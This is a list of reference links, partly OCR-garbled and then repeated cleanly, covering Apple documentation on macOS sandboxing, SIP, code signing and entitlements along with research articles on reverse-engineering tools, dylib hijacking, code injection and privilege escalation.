e https://developer.apple.com/documentation/servicemanagement/

e https://developer.apple.com/documentation/bundleresources/placing content in a bundl

€

e https://www.kodeco.com/731-macos-development-for-beginners-part-1

e https://developer.apple.com/documentation/security/app sandbox?language=objc

e https://developer.apple.com/documentation/xcode/configuring-the-macos-app-sandbox/

e https://developer.apple.com/documentation/security/notarizing_macos software before

distribution

e https://support.apple.com/en-il/HT204899

e https://developer.apple.com/library/archive/documentation/Security/Conceptual/System |

ntegrity Protection Guide/FileSystemProtections/FileSystemProtections.html#//apple ref/

doc/uid/TP40016462-CH2-SW1

e https://developer.apple.com/documentation/security/disabling and enabling system inte

grity protection?language=objc

e https://www.youtube.com/watch?v=c8lgbydj4IU

e https://www.hackingarticles.in/wireshark-for-pentesters-a-beginners-guide/

e https://developer.apple.com/documentation/security/code signing services

e https://sec.okta.com/articles/2018/06/issues-around-third-party-apple-code-signing-checks

e https://developer.apple.com/documentation/security/hardened runtime?language=objc
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https://developer.apple.com/documentation/bundleresources
https://developer.apple.com/documentation/bundleresources/information_property_list
https://developer.apple.com/documentation/servicemanagement/
https://developer.apple.com/documentation/bundleresources/placing_content_in_a_bundle
https://developer.apple.com/documentation/bundleresources/placing_content_in_a_bundle
https://www.kodeco.com/731-macos-development-for-beginners-part-1
https://developer.apple.com/documentation/security/app_sandbox?language=objc
https://developer.apple.com/documentation/xcode/configuring-the-macos-app-sandbox/
https://developer.apple.com/documentation/security/notarizing_macos_software_before_distribution
https://developer.apple.com/documentation/security/notarizing_macos_software_before_distribution
https://support.apple.com/en-il/HT204899
https://developer.apple.com/library/archive/documentation/Security/Conceptual/System_Integrity_Protection_Guide/FileSystemProtections/FileSystemProtections.html#//apple_ref/doc/uid/TP40016462-CH2-SW1
https://developer.apple.com/library/archive/documentation/Security/Conceptual/System_Integrity_Protection_Guide/FileSystemProtections/FileSystemProtections.html#//apple_ref/doc/uid/TP40016462-CH2-SW1
https://developer.apple.com/library/archive/documentation/Security/Conceptual/System_Integrity_Protection_Guide/FileSystemProtections/FileSystemProtections.html#//apple_ref/doc/uid/TP40016462-CH2-SW1
https://developer.apple.com/documentation/security/disabling_and_enabling_system_integrity_protection?language=objc
https://developer.apple.com/documentation/security/disabling_and_enabling_system_integrity_protection?language=objc
https://www.youtube.com/watch?v=c8Iqbydj4IU
https://www.hackingarticles.in/wireshark-for-pentesters-a-beginners-guide/
https://developer.apple.com/documentation/security/code_signing_services
https://sec.okta.com/articles/2018/06/issues-around-third-party-apple-code-signing-checks
https://developer.apple.com/documentation/security/hardened_runtime?language=objc
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https://developer.apple.com/documentation/bundleresources/entitlements

http://www.newosxbook.com/tools/jtool.html

https://objective-see.org/tools.html

https://frida.re

http://dtrace.org/blogs/brendan/2011/02/11/dtrace-pid-provider-arguments/

https://www.virusbulletin.com/virusbulletin/2015/03/dylib-hijacking-o0s-x

https://objective-see.org/products/dhs.html

https://jon-gabilondo-angulo-7635.medium.com/how-to-inject-code-into-mach-o-apps-part-

i-17ed375f736

http://newosxbook.com/src.jl?tree=listings&file=inject.c

https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a

https://theevilbit.github.io/tags/xpc/

https://www.offsec.com/offsec/microsoft-teams-macos-local-privesc/

https://www.youtube.com/watch?v=ezxD5M90Mmc
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https://developer.apple.com/documentation/bundleresources/entitlements
http://www.newosxbook.com/tools/jtool.html
https://objective-see.org/tools.html
https://frida.re/
http://dtrace.org/blogs/brendan/2011/02/11/dtrace-pid-provider-arguments/
https://www.virusbulletin.com/virusbulletin/2015/03/dylib-hijacking-os-x
https://objective-see.org/products/dhs.html
https://jon-gabilondo-angulo-7635.medium.com/how-to-inject-code-into-mach-o-apps-part-i-17ed375f736
https://jon-gabilondo-angulo-7635.medium.com/how-to-inject-code-into-mach-o-apps-part-i-17ed375f736
http://newosxbook.com/src.jl?tree=listings&file=inject.c
https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a
https://theevilbit.github.io/tags/xpc/
https://www.offsec.com/offsec/microsoft-teams-macos-local-privesc/
https://www.youtube.com/watch?v=ezxD5M90Mmc

